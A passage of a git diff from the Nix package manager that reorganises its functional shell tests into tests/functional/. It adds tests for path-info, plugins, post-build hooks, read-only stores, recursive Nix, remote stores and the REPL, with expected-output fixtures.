`src/nix-functional-tests` is during the transition a symlink and + # not the actual directory directory. + + '' + cd $(readlink -e $PWD) + echo $PWD | grep tests/functional + ''; + + mesonCheckFlags = [ + "--print-errorlogs" + ]; + + preCheck = + # See https://github.com/NixOS/nix/issues/2523 + # Occurs often in tests since https://github.com/NixOS/nix/pull/9900 + lib.optionalString stdenv.hostPlatform.isDarwin '' + export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES + ''; + + doCheck = true; + + installPhase = '' + mkdir $out + ''; + + meta = { + platforms = lib.platforms.unix; + }; + +} // lib.optionalAttrs (test-daemon != null) { + NIX_DAEMON_PACKAGE = test-daemon; +}) diff --git a/tests/parallel.builder.sh b/tests/functional/parallel.builder.sh similarity index 100% rename from tests/parallel.builder.sh rename to tests/functional/parallel.builder.sh diff --git a/tests/parallel.nix b/tests/functional/parallel.nix similarity index 100% rename from tests/parallel.nix rename to tests/functional/parallel.nix diff --git a/tests/parallel.sh b/tests/functional/parallel.sh similarity index 99% rename from tests/parallel.sh rename to tests/functional/parallel.sh index 3b7bbe5a2..7e420688d 100644 --- a/tests/parallel.sh +++ b/tests/functional/parallel.sh @@ -4,6 +4,8 @@ source common.sh # First, test that -jN performs builds in parallel. echo "testing nix-build -j..." +TODO_NixOS + clearStore rm -f $_NIX_TEST_SHARED.cur $_NIX_TEST_SHARED.max diff --git a/tests/pass-as-file.sh b/tests/functional/pass-as-file.sh old mode 100644 new mode 100755 similarity index 90% rename from tests/pass-as-file.sh rename to tests/functional/pass-as-file.sh index 2c0bc5031..6487bfffd --- a/tests/pass-as-file.sh +++ b/tests/functional/pass-as-file.sh @@ -1,6 +1,8 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible outPath=$(nix-build --no-out-link -E " with import ./config.nix; diff --git a/tests/path-from-hash-part.sh b/tests/functional/path-from-hash-part.sh old mode 100644 new mode 100755 similarity index 90% rename from tests/path-from-hash-part.sh rename to tests/functional/path-from-hash-part.sh index bdd104434..41d1b7410 --- a/tests/path-from-hash-part.sh +++ b/tests/functional/path-from-hash-part.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh path=$(nix build --no-link --print-out-paths -f simple.nix) diff --git a/tests/functional/path-info.sh b/tests/functional/path-info.sh new file mode 100755 index 000000000..8597de683 --- /dev/null +++ b/tests/functional/path-info.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +source common.sh + +echo foo > $TEST_ROOT/foo +foo=$(nix store add-file $TEST_ROOT/foo) + +echo bar > $TEST_ROOT/bar +bar=$(nix store add-file $TEST_ROOT/bar) + +echo baz > $TEST_ROOT/baz +baz=$(nix store add-file $TEST_ROOT/baz) +nix-store --delete "$baz" + +diff --unified --color=always \ + <(nix path-info --json "$foo" "$bar" "$baz" | + jq --sort-keys 'map_values(.narHash)') \ + <(jq --sort-keys <<-EOF + { + "$foo": "sha256-QvtAMbUl/uvi+LCObmqOhvNOapHdA2raiI4xG5zI5pA=", + "$bar": "sha256-9fhYGu9fqxcQC2Kc81qh2RMo1QcLBUBo8U+pPn+jthQ=", + "$baz": null + } +EOF + ) diff --git a/tests/path.nix b/tests/functional/path.nix similarity index 100% rename from tests/path.nix rename to tests/functional/path.nix diff --git a/tests/placeholders.sh b/tests/functional/placeholders.sh old mode 100644 new mode 100755 similarity index 90% rename from tests/placeholders.sh rename to tests/functional/placeholders.sh index cd1bb7bc2..33ec0c2b7 --- a/tests/placeholders.sh +++ b/tests/functional/placeholders.sh @@ -1,6 +1,8 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible nix-build --no-out-link -E ' with import ./config.nix; diff --git a/tests/functional/plugins.sh b/tests/functional/plugins.sh new file mode 100755 index 000000000..fc2d1907c --- /dev/null +++ b/tests/functional/plugins.sh @@ -0,0 +1,12 @@ +#!/usr/bin/env bash + +source common.sh + +for ext in so dylib; do + plugin="$PWD/plugins/libplugintest.$ext" + [[ -f "$plugin" ]] && break +done + +res=$(nix --option setting-set true --option plugin-files "$plugin" eval --expr builtins.anotherNull) + +[ "$res"x = "nullx" ] diff --git a/tests/plugins/local.mk b/tests/functional/plugins/local.mk similarity index 62% rename from tests/plugins/local.mk rename to tests/functional/plugins/local.mk index 82ad99402..2314e1341 100644 --- a/tests/plugins/local.mk +++ b/tests/functional/plugins/local.mk @@ -8,4 +8,4 @@ libplugintest_ALLOW_UNDEFINED := 1 libplugintest_EXCLUDE_FROM_LIBRARY_LIST := 1 -libplugintest_CXXFLAGS := -I src/libutil -I src/libexpr +libplugintest_CXXFLAGS := $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libexpr) $(INCLUDE_libfetchers) diff --git a/tests/functional/plugins/meson.build b/tests/functional/plugins/meson.build new file mode 100644 index 000000000..3d6b2f0e1 --- /dev/null +++ b/tests/functional/plugins/meson.build @@ -0,0 +1,16 @@ +libplugintest = shared_module( + 'plugintest', + 'plugintest.cc', + cpp_args : [ + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + # '-include', 'config-fetchers.hh', + '-include', 'config-expr.hh', + ], + dependencies : [ + dependency('nix-expr'), + ], + build_by_default : false, +) diff --git a/tests/plugins/plugintest.cc b/tests/functional/plugins/plugintest.cc similarity index 77% rename from tests/plugins/plugintest.cc rename to tests/functional/plugins/plugintest.cc index 04b791021..7433ad190 100644 --- a/tests/plugins/plugintest.cc +++ b/tests/functional/plugins/plugintest.cc @@ -1,4 +1,4 @@ -#include "config.hh" +#include "config-global.hh" #include "primops.hh" using namespace nix; @@ -21,4 +21,8 @@ static void prim_anotherNull (EvalState & state, const PosIdx pos, Value ** args v.mkBool(false); } -static RegisterPrimOp rp("anotherNull", 0, prim_anotherNull); +static RegisterPrimOp rp({ + .name = "anotherNull", + .arity = 0, + .fun = prim_anotherNull, +}); diff --git a/tests/functional/post-hook.sh b/tests/functional/post-hook.sh new file mode 100755 index 000000000..94a6d0d69 --- /dev/null +++ b/tests/functional/post-hook.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +clearStore + +rm -f $TEST_ROOT/result + +export REMOTE_STORE=file:$TEST_ROOT/remote_store +echo 'require-sigs = false' >> $test_nix_conf + +restartDaemon + +if isDaemonNewer "2.13"; then + pushToStore="$PWD/push-to-store.sh" +else + pushToStore="$PWD/push-to-store-old.sh" +fi + +# Build the dependencies and push them to the remote store. +nix-build -o $TEST_ROOT/result dependencies.nix --post-build-hook "$pushToStore" +# See if all outputs are passed to the post-build hook by only specifying one +# We're not able to test CA tests this way +export BUILD_HOOK_ONLY_OUT_PATHS=$([ ! $NIX_TESTS_CA_BY_DEFAULT ]) +nix-build -o $TEST_ROOT/result-mult multiple-outputs.nix -A a.first --post-build-hook "$pushToStore" + +clearStore + +# Ensure that the remote store contains both the runtime and build-time +# closure of what we've just built. +nix copy --from "$REMOTE_STORE" --no-require-sigs -f dependencies.nix +nix copy --from "$REMOTE_STORE" --no-require-sigs -f dependencies.nix input1_drv +nix copy --from "$REMOTE_STORE" --no-require-sigs -f multiple-outputs.nix a^second diff --git a/tests/pure-eval.nix b/tests/functional/pure-eval.nix similarity index 100% rename from tests/pure-eval.nix rename to tests/functional/pure-eval.nix diff --git a/tests/pure-eval.sh b/tests/functional/pure-eval.sh old mode 100644 new mode 100755 similarity index 92% rename from tests/pure-eval.sh rename to tests/functional/pure-eval.sh index b83ab8afe..250381099 --- a/tests/pure-eval.sh +++ b/tests/functional/pure-eval.sh @@ -1,6 +1,8 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible nix eval --expr 'assert 1 + 2 == 3; true' @@ -8,7 +10,7 @@ nix eval --expr 'assert 1 + 2 == 3; true' missingImpureErrorMsg=$(! nix eval --expr 'builtins.readFile ./pure-eval.sh' 2>&1) -echo "$missingImpureErrorMsg" | grep -q -- --impure || \ +echo "$missingImpureErrorMsg" | grepQuiet -- --impure || \ fail "The error message should mention the “--impure” flag to unblock users" [[ $(nix eval --expr 'builtins.pathExists ./pure-eval.sh') == false ]] || \ diff --git a/tests/functional/push-to-store-old.sh b/tests/functional/push-to-store-old.sh new file mode 100755 index 000000000..4187958b2 --- /dev/null +++ b/tests/functional/push-to-store-old.sh @@ -0,0 +1,14 @@ +#!/bin/sh + +set -x +set -e + +[ -n "$OUT_PATHS" ] +[ -n "$DRV_PATH" ] + +echo Pushing "$OUT_PATHS" to "$REMOTE_STORE" +if [ -n "$BUILD_HOOK_ONLY_OUT_PATHS" ]; then + printf "%s" "$OUT_PATHS" | xargs nix copy --to "$REMOTE_STORE" --no-require-sigs +else + printf "%s" "$DRV_PATH" | xargs nix copy --to "$REMOTE_STORE" --no-require-sigs +fi diff --git a/tests/functional/push-to-store.sh b/tests/functional/push-to-store.sh new file mode 100755 index 000000000..9e4e475e0 --- /dev/null +++ b/tests/functional/push-to-store.sh @@ -0,0 +1,14 @@ +#!/bin/sh + +set -x +set -e + +[ -n "$OUT_PATHS" ] +[ -n "$DRV_PATH" ] + +echo Pushing "$OUT_PATHS" to "$REMOTE_STORE" +if [ -n "$BUILD_HOOK_ONLY_OUT_PATHS" ]; then + printf "%s" "$OUT_PATHS" | xargs nix copy --to "$REMOTE_STORE" --no-require-sigs +else + printf "%s" "$DRV_PATH"^'*' | xargs nix copy --to "$REMOTE_STORE" --no-require-sigs +fi diff --git a/tests/functional/read-only-store.sh b/tests/functional/read-only-store.sh new file mode 100755 index 000000000..f6b6eaf32 --- /dev/null +++ b/tests/functional/read-only-store.sh @@ -0,0 +1,49 @@ +#!/usr/bin/env bash + +source common.sh + +enableFeatures "read-only-local-store" + +needLocalStore "cannot open store read-only when daemon has already opened it writeable" + +TODO_NixOS + +clearStore + +happy () { + # We can do a read-only query just fine with a read-only store + nix --store local?read-only=true path-info $dummyPath + + # `local://` also works. + nix --store local://?read-only=true path-info $dummyPath + + # We can "write" an already-present store-path a read-only store, because no IO is actually required + nix-store --store local?read-only=true --add dummy +} +## Testing read-only mode without forcing the underlying store to actually be read-only + +# Make sure the command fails when the store doesn't already have a database +expectStderr 1 nix-store --store local?read-only=true --add dummy | grepQuiet "database does not exist, and cannot be created in read-only mode" + +# Make sure the store actually has a current-database, with at least one store object +dummyPath=$(nix-store --add dummy) + +# Try again and make sure we fail when adding a item not already in the store +expectStderr 1 nix-store --store local?read-only=true --add eval.nix | grepQuiet "attempt to write a readonly database" + +# Test a few operations that should work with the read-only store in its current state +happy + +## Testing read-only mode with an underlying store that is actually read-only + +# Ensure store is actually read-only +chmod -R -w $TEST_ROOT/store +chmod -R -w $TEST_ROOT/var + +# Make sure we fail on add operations on the read-only store +# This is only for adding files that are not *already* in the store +expectStderr 1 nix-store --add eval.nix | grepQuiet "error: opening lock file '$(readlink -e $TEST_ROOT)/var/nix/db/big-lock'" +expectStderr 1 nix-store --store local?read-only=true --add eval.nix | grepQuiet "Permission denied" + +# Test the same operations from before should again succeed +happy diff --git a/tests/readfile-context.nix b/tests/functional/readfile-context.nix similarity index 100% rename from tests/readfile-context.nix rename to tests/functional/readfile-context.nix diff --git a/tests/readfile-context.sh b/tests/functional/readfile-context.sh old mode 100644 new mode 100755 similarity index 67% rename from tests/readfile-context.sh rename to tests/functional/readfile-context.sh index 31e70ddb1..cb9ef6234 --- a/tests/readfile-context.sh +++ b/tests/functional/readfile-context.sh @@ -1,11 +1,15 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS # NixOS doesn't provide $NIX_STATE_DIR (and shouldn't) + clearStore outPath=$(nix-build --no-out-link readfile-context.nix) # Set a GC root. -ln -s $outPath "$NIX_STATE_DIR"/gcroots/foo +ln -s $outPath "$NIX_STATE_DIR/gcroots/foo" # Check that file exists. [ "$(cat $(cat $outPath))" = "Hello World!" ] diff --git a/tests/functional/recursive.nix b/tests/functional/recursive.nix new file mode 100644 index 000000000..fa8cc04db --- /dev/null +++ b/tests/functional/recursive.nix @@ -0,0 +1,56 @@ +with import ./config.nix; + +mkDerivation rec { + name = "recursive"; + dummy = builtins.toFile "dummy" "bla bla"; + SHELL = shell; + + # Note: this is a string without context. + unreachable = builtins.getEnv "unreachable"; + + NIX_TESTS_CA_BY_DEFAULT = builtins.getEnv "NIX_TESTS_CA_BY_DEFAULT"; + + requiredSystemFeatures = [ "recursive-nix" ]; + + buildCommand = '' + mkdir $out + opts="--experimental-features nix-command ${if (NIX_TESTS_CA_BY_DEFAULT == "1") then "--extra-experimental-features ca-derivations" else ""}" + + PATH=${builtins.getEnv "NIX_BIN_DIR"}:$PATH + + # Check that we can query/build paths in our input closure. + nix $opts path-info $dummy + nix $opts build $dummy + + # Make sure we cannot query/build paths not in out input closure. + [[ -e $unreachable ]] + (! nix $opts path-info $unreachable) + (! nix $opts build $unreachable) + + # Add something to the store. + echo foobar > foobar + foobar=$(nix $opts store add-path ./foobar) + + nix $opts path-info $foobar + nix $opts build $foobar + + # Add it to our closure. + ln -s $foobar $out/foobar + + [[ $(nix $opts path-info --all | wc -l) -eq 4 ]] + + # Build a derivation. + nix $opts build -L --impure --expr ' + with import ${./config.nix}; + mkDerivation { + name = "inner1"; + buildCommand = "echo $fnord blaat > $out"; + fnord = builtins.toFile "fnord" "fnord"; + } + ' + + [[ $(nix $opts path-info --json ./result) =~ fnord ]] + + ln -s $(nix $opts path-info ./result) $out/inner1 + ''; +} diff --git a/tests/functional/recursive.sh b/tests/functional/recursive.sh new file mode 100755 index 000000000..640fb92d2 --- /dev/null +++ b/tests/functional/recursive.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS # can't enable a sandbox feature easily + +enableFeatures 'recursive-nix' +restartDaemon + +clearStore + +rm -f $TEST_ROOT/result + +export unreachable=$(nix store add-path ./recursive.sh) + +NIX_BIN_DIR=$(dirname $(type -p nix)) nix --extra-experimental-features 'nix-command recursive-nix' build -o $TEST_ROOT/result -L --impure --file ./recursive.nix + +[[ $(cat $TEST_ROOT/result/inner1) =~ blaat ]] + +# Make sure the recursively created paths are in the closure. +nix path-info -r $TEST_ROOT/result | grep foobar +nix path-info -r $TEST_ROOT/result | grep fnord +nix path-info -r $TEST_ROOT/result | grep inner1 diff --git a/tests/referrers.sh b/tests/functional/referrers.sh old mode 100644 new mode 100755 similarity index 92% rename from tests/referrers.sh rename to tests/functional/referrers.sh index 81323c280..411cdb7c1 --- a/tests/referrers.sh +++ b/tests/functional/referrers.sh @@ -1,7 +1,11 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "uses some low-level store manipulations that aren’t available through the daemon" +TODO_NixOS + clearStore max=500 @@ -29,7 +33,7 @@ echo "registering..." nix-store --register-validity < $TEST_ROOT/reg_info echo "collecting garbage..." -ln -sfn $reference "$NIX_STATE_DIR"/gcroots/ref +ln -sfn $reference "$NIX_STATE_DIR/gcroots/ref" nix-store --gc if [ -n "$(type -p sqlite3)" -a "$(sqlite3 $NIX_STATE_DIR/db/db.sqlite 'select count(*) from Refs')" -ne 0 ]; then diff --git a/tests/functional/remote-store.sh b/tests/functional/remote-store.sh new file mode 100755 index 000000000..841b6b27a --- /dev/null +++ b/tests/functional/remote-store.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +clearStore + +# Ensure "fake ssh" remote store works just as legacy fake ssh would. +nix --store ssh-ng://localhost?remote-store=$TEST_ROOT/other-store doctor + +# Ensure that store info trusted works with ssh-ng:// +nix --store ssh-ng://localhost?remote-store=$TEST_ROOT/other-store store info --json | jq -e '.trusted' + +startDaemon + +if isDaemonNewer "2.15pre0"; then + # Ensure that ping works trusted with new daemon + nix store info --json | jq -e '.trusted' + # Suppress grumpiness about multiple nixes on PATH + (nix doctor || true) 2>&1 | grep 'You are trusted by' +else + # And the the field is absent with the old daemon + nix store info --json | jq -e 'has("trusted") | not' +fi + +# Test import-from-derivation through the daemon. +[[ $(nix eval --impure --raw --file ./ifd.nix) = hi ]] + +NIX_REMOTE_=$NIX_REMOTE $SHELL ./user-envs-test-case.sh + +nix-store --gc --max-freed 1K + +nix-store --dump-db > $TEST_ROOT/d1 +NIX_REMOTE= nix-store --dump-db > $TEST_ROOT/d2 +cmp $TEST_ROOT/d1 $TEST_ROOT/d2 + +killDaemon diff --git a/tests/repair.sh b/tests/functional/repair.sh old mode 100644 new mode 100755 similarity index 98% rename from tests/repair.sh rename to tests/functional/repair.sh index c8f07b1c6..1f6004b2c --- a/tests/repair.sh +++ b/tests/functional/repair.sh @@ -1,7 +1,11 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "--repair needs a local store" +TODO_NixOS + clearStore path=$(nix-build dependencies.nix -o $TEST_ROOT/result) diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh new file mode 100755 index 000000000..706e0f5db --- /dev/null +++ b/tests/functional/repl.sh @@ -0,0 +1,321 @@ +#!/usr/bin/env bash + +source common.sh +source characterisation/framework.sh + +testDir="$PWD" +cd "$TEST_ROOT" + +replCmds=" +simple = 1 +simple = import $testDir/simple.nix +:bl simple +:log simple +" + +replFailingCmds=" +failing = import $testDir/simple-failing.nix +:b failing +:log failing +" + +replUndefinedVariable=" +import $testDir/undefined-variable.nix +" + +TODO_NixOS + +testRepl () { + local nixArgs + nixArgs=("$@") + rm -rf repl-result-out || true # cleanup from other runs backed by a foreign nix store + local replOutput + replOutput="$(nix repl "${nixArgs[@]}" <<< "$replCmds")" + echo "$replOutput" + local outPath + outPath=$(echo "$replOutput" |& + grep -o -E "$NIX_STORE_DIR/\w*-simple") + nix path-info "${nixArgs[@]}" "$outPath" + [ "$(realpath ./repl-result-out)" == "$outPath" ] || fail "nix repl :bl doesn't make a symlink" + # run it again without checking the output to ensure the previously created symlink gets overwritten + nix repl "${nixArgs[@]}" <<< "$replCmds" || fail "nix repl does not work twice with the same inputs" + + # simple.nix prints a PATH during build + echo "$replOutput" | grepQuiet -s 'PATH=' || fail "nix repl :log doesn't output logs" + replOutput="$(nix repl "${nixArgs[@]}" <<< "$replFailingCmds" 2>&1)" + echo "$replOutput" + echo "$replOutput" | grepQuiet -s 'This should fail' \ + || fail "nix repl :log doesn't output logs for a failed derivation" + replOutput="$(nix repl --show-trace "${nixArgs[@]}" <<< "$replUndefinedVariable" 2>&1)" + echo "$replOutput" + echo "$replOutput" | grepQuiet -s "while evaluating the file" \ + || fail "nix repl --show-trace doesn't show the trace" + + nix repl "${nixArgs[@]}" --option pure-eval true 2>&1 <<< "builtins.currentSystem" \ + | grep "attribute 'currentSystem' missing" + nix repl "${nixArgs[@]}" 2>&1 <<< "builtins.currentSystem" \ + | grep "$(nix-instantiate --eval -E 'builtins.currentSystem')" + + expectStderr 1 nix repl "${testDir}/simple.nix" \ + | grepQuiet -s "error: path '$testDir/simple.nix' is not a flake" +} + +# Simple test, try building a drv +testRepl +# Same thing (kind-of), but with a remote store. +testRepl --store "$TEST_ROOT/store?real=$NIX_STORE_DIR" + +# Remove ANSI escape sequences. They can prevent grep from finding a match. +stripColors () { + sed -E 's/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g' +} + +testReplResponseGeneral () { + local grepMode commands expectedResponse response + grepMode="$1"; shift + commands="$1"; shift + # Expected response can contain newlines. + # grep can't handle multiline patterns, so replace newlines with TEST_NEWLINE + # in both expectedResponse and response. + # awk ORS always adds a trailing record separator, so we strip it with sed. + expectedResponse="$(printf '%s' "$1" | awk 1 ORS=TEST_NEWLINE | sed 's/TEST_NEWLINE$//')"; shift + # We don't need to strip trailing record separator here, since extra data is ok. + response="$(nix repl "$@" <<< "$commands" 2>&1 | stripColors | awk 1 ORS=TEST_NEWLINE)" + printf '%s' "$response" | grepQuiet "$grepMode" -s "$expectedResponse" \ + || fail "$(echo "repl command set: + +$commands + +does not respond with: + +--- +$expectedResponse +--- + +but with: + +--- +$response +--- + +" | sed 's/TEST_NEWLINE/\n/g')" +} + +testReplResponse () { + testReplResponseGeneral --basic-regexp "$@" +} + +testReplResponseNoRegex () { + testReplResponseGeneral --fixed-strings "$@" +} + +# :a uses the newest version of a symbol +# +# shellcheck disable=SC2016 +testReplResponse ' +:a { a = "1"; } +:a { a = "2"; } +"result: ${a}" +' "result: 2" + +# check dollar escaping https://github.com/NixOS/nix/issues/4909 +# note the escaped \, +# \\ +# because the second argument is a regex +# +# shellcheck disable=SC2016 +testReplResponseNoRegex ' +"$" + "{hi}" +' '"\${hi}"' + +testReplResponse ' +drvPath +' '".*-simple.drv"' \ +--file "$testDir/simple.nix" + +testReplResponse ' +drvPath +' '".*-simple.drv"' \ +--file "$testDir/simple.nix" --experimental-features 'ca-derivations' + +mkdir -p flake && cat < flake/flake.nix +{ + outputs = { self }: { + foo = 1; + bar.baz = 2; + + changingThing = "beforeChange"; + }; +} +EOF +testReplResponse ' +foo + baz +' "3" \ + ./flake ./flake\#bar --experimental-features 'flakes' + +# Test the `:reload` mechansim with flakes: +# - Eval `./flake#changingThing` +# - Modify the flake +# - Re-eval it +# - Check that the result has changed +replResult=$( ( +echo "changingThing" +sleep 1 # Leave the repl the time to eval 'foo' +sed -i 's/beforeChange/afterChange/' flake/flake.nix +echo ":reload" +echo "changingThing" +) | nix repl ./flake --experimental-features 'flakes') +echo "$replResult" | grepQuiet -s beforeChange +echo "$replResult" | grepQuiet -s afterChange + +# Test recursive printing and formatting +# Normal output should print attributes in lexicographical order non-recursively +testReplResponseNoRegex ' +{ a = { b = 2; }; l = [ 1 2 3 ]; s = "string"; n = 1234; x = rec { y = { z = { inherit y; }; }; }; } +' \ +'{ + a = { ... }; + l = [ ... ]; + n = 1234; + s = "string"; + x = { ... }; +} +' + +# Same for lists, but order is preserved +testReplResponseNoRegex ' +[ 42 1 "thingy" ({ a = 1; }) ([ 1 2 3 ]) ] +' \ +'[ + 42 + 1 + "thingy" + { ... } + [ ... ] +] +' + +# Same for let expressions +testReplResponseNoRegex ' +let x = { y = { a = 1; }; inherit x; }; in x +' \ +'{ + x = «repeated»; + y = { ... }; +} +' + +# The :p command should recursively print sets, but prevent infinite recursion +testReplResponseNoRegex ' +:p { a = { b = 2; }; s = "string"; n = 1234; x = rec { y = { z = { inherit y; }; }; }; } +' \ +'{ + a = { b = 2; }; + n = 1234; + s = "string"; + x = { + y = { + z = { + y = «repeated»; + }; + }; + }; +} +' + +# Same for lists +testReplResponseNoRegex ' +:p [ 42 1 "thingy" (rec { a = 1; b = { inherit a; inherit b; }; }) ([ 1 2 3 ]) ] +' \ +'[ + 42 + 1 + "thingy" + { + a = 1; + b = { + a = 1; + b = «repeated»; + }; + } + [ + 1 + 2 + 3 + ] +] +' + +# Same for let expressions +testReplResponseNoRegex ' +:p let x = { y = { a = 1; }; inherit x; }; in x +' \ +'{ + x = «repeated»; + y = { a = 1; }; +} +' + +# TODO: move init to characterisation/framework.sh +badDiff=0 +badExitCode=0 + +nixVersion="$(nix eval --impure --raw --expr 'builtins.nixVersion' --extra-experimental-features nix-command)" + +# TODO: write a repl interacter for testing. Papering over the differences between readline / editline and between platforms is a pain. + +# I couldn't get readline and editline to agree on the newline before the prompt, +# so let's just force it to be one empty line. +stripEmptyLinesBeforePrompt() { + # --null-data: treat input as NUL-terminated instead of newline-terminated + sed --null-data 's/\n\n*nix-repl>/\n\nnix-repl>/g' +} + +# We don't get a final prompt on darwin, so we strip this as well. +stripFinalPrompt() { + # Strip the final prompt and/or any trailing spaces + sed --null-data \ + -e 's/\(.*[^\n]\)\n\n*nix-repl>[ \n]*$/\1/' \ + -e 's/[ \n]*$/\n/' +} + +runRepl () { + + # That is right, we are also filtering out the testdir _without underscores_. + # This is crazy, but without it, GHA will fail to run the tests, showing paths + # _with_ underscores in the set -x log, but _without_ underscores in the + # supposed nix repl output. I have looked in a number of places, but I cannot + # find a mechanism that could cause this to happen. + local testDirNoUnderscores + testDirNoUnderscores="${testDir//_/}" + + # TODO: pass arguments to nix repl; see lang.sh + _NIX_TEST_RAW_MARKDOWN=1 \ + _NIX_TEST_REPL_ECHO=1 \ + nix repl 2>&1 \ + | stripColors \ + | tr -d '\0' \ + | stripEmptyLinesBeforePrompt \ + | stripFinalPrompt \ + | sed \ + -e "s@$testDir@/path/to/tests/functional@g" \ + -e "s@$testDirNoUnderscores@/path/to/tests/functional@g" \ + -e "s@$nixVersion@@g" \ + -e "s@Added [0-9]* variables@Added variables@g" \ + | grep -vF $'warning: you don\'t have Internet access; disabling some network-dependent features' \ + ; +} + +for test in $(cd "$testDir/repl"; echo *.in); do + test="$(basename "$test" .in)" + in="$testDir/repl/$test.in" + actual="$testDir/repl/$test.actual" + expected="$testDir/repl/$test.expected" + (cd "$testDir/repl"; set +x; runRepl 2>&1) < "$in" > "$actual" || { + echo "FAIL: $test (exit code $?)" >&2 + badExitCode=1 + } + diffAndAcceptInner "$test" "$actual" "$expected" +done + +characterisationTestExit diff --git a/tests/functional/repl/characterisation/empty b/tests/functional/repl/characterisation/empty new file mode 100644 index 000000000..e69de29bb diff --git a/tests/functional/repl/doc-comment-curried-args.expected b/tests/functional/repl/doc-comment-curried-args.expected new file mode 100644 index 000000000..56607e911 --- /dev/null +++ b/tests/functional/repl/doc-comment-curried-args.expected @@ -0,0 +1,28 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> :doc curriedArgs +Function `curriedArgs`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:48:5 + +A documented function. + +nix-repl> x = curriedArgs 1 + +nix-repl> "Note that users may not expect this to behave as it currently does" +"Note that users may not expect this to behave as it currently does" + +nix-repl> :doc x +Function `curriedArgs`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:50:5 + +The function returned by applying once + +nix-repl> "This won't produce docs; no support for arbitrary values" +"This won't produce docs; no support for arbitrary values" + +nix-repl> :doc x 2 +error: value does not have documentation diff --git a/tests/functional/repl/doc-comment-curried-args.in b/tests/functional/repl/doc-comment-curried-args.in new file mode 100644 index 000000000..06ba21dcc --- /dev/null +++ b/tests/functional/repl/doc-comment-curried-args.in @@ -0,0 +1,7 @@ +:l doc-comments.nix +:doc curriedArgs +x = curriedArgs 1 +"Note that users may not expect this to behave as it currently does" +:doc x +"This won't produce docs; no support for arbitrary values" +:doc x 2 diff --git a/tests/functional/repl/doc-comment-formals.expected b/tests/functional/repl/doc-comment-formals.expected new file mode 100644 index 000000000..1024919f4 --- /dev/null +++ b/tests/functional/repl/doc-comment-formals.expected @@ -0,0 +1,14 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> "Note that this is not yet complete" +"Note that this is not yet complete" + +nix-repl> :doc documentedFormals +Function `documentedFormals`\ + … defined at /path/to/tests/functional/repl/doc-comments.nix:57:5 + +Finds x diff --git a/tests/functional/repl/doc-comment-formals.in b/tests/functional/repl/doc-comment-formals.in new file mode 100644 index 000000000..e32fb8ab1 --- /dev/null +++ b/tests/functional/repl/doc-comment-formals.in @@ -0,0 +1,3 @@ +:l doc-comments.nix +"Note that this is not yet complete" +:doc documentedFormals diff --git a/tests/functional/repl/doc-comment-function.expected b/tests/functional/repl/doc-comment-function.expected new file mode 100644 index 000000000..3889c4f78 --- /dev/null +++ b/tests/functional/repl/doc-comment-function.expected @@ -0,0 +1,7 @@ +Nix +Type :? for help. + +nix-repl> :doc import ./doc-comment-function.nix +Function defined at /path/to/tests/functional/repl/doc-comment-function.nix:2:1 + +A doc comment for a file that only contains a function diff --git a/tests/functional/repl/doc-comment-function.in b/tests/functional/repl/doc-comment-function.in new file mode 100644 index 000000000..8f3c1388a --- /dev/null +++ b/tests/functional/repl/doc-comment-function.in @@ -0,0 +1 @@ +:doc import ./doc-comment-function.nix diff --git a/tests/functional/repl/doc-comment-function.nix b/tests/functional/repl/doc-comment-function.nix new file mode 100644 index 000000000..cdd241347 --- /dev/null +++ b/tests/functional/repl/doc-comment-function.nix @@ -0,0 +1,3 @@ +/** A doc comment for a file that only contains a function */ +{ ... }: +{ } diff --git a/tests/functional/repl/doc-comments.nix b/tests/functional/repl/doc-comments.nix new file mode 100644 index 000000000..e91ee0b51 --- /dev/null +++ b/tests/functional/repl/doc-comments.nix @@ -0,0 +1,60 @@ +{ + /** + Perform *arithmetic* multiplication. It's kind of like repeated **addition**, very neat. + + ```nix + multiply 2 3 + => 6 + ``` + */ + multiply = x: y: x * y; + + /**👈 precisely this wide 👉*/ + measurement = x: x; + + floatedIn = /** This also works. */ + x: y: x; + + compact=/**boom*/x: x; + + # https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md#ambiguous-placement + /** Ignore!!! */ + unambiguous = + /** Very close */ + x: x; + + /** Firmly rigid. */ + constant = true; + + /** Immovably fixed. */ + lib.version = "9000"; + + /** Unchangeably constant. */ + lib.attr.empty = { }; + + lib.attr.undocumented = { }; + + nonStrict = /** My syntax is not strict, but I'm strict anyway. */ x: x; + strict = /** I don't have to be strict, but I am anyway. */ { ... }: null; + # Note that pre and post are the same here. I just had to name them somehow. + strictPre = /** Here's one way to do this */ a@{ ... }: a; + strictPost = /** Here's another way to do this */ { ... }@a: a; + + # TODO + + /** You won't see this. */ + curriedArgs = + /** A documented function. */ + x: + /** The function returned by applying once */ + y: + /** A function body performing summation of two items */ + x + y; + + /** Documented formals (but you won't see this comment) */ + documentedFormals = + /** Finds x */ + { /** The x attribute */ + x + }: x; +} diff --git a/tests/functional/repl/doc-compact.expected b/tests/functional/repl/doc-compact.expected new file mode 100644 index 000000000..79f1fd44f --- /dev/null +++ b/tests/functional/repl/doc-compact.expected @@ -0,0 +1,11 @@ +Nix +Type :? for help. + +nix-repl> :l doc-comments.nix +Added variables. + +nix-repl> :doc compact +Function `compact`\ + … defined at 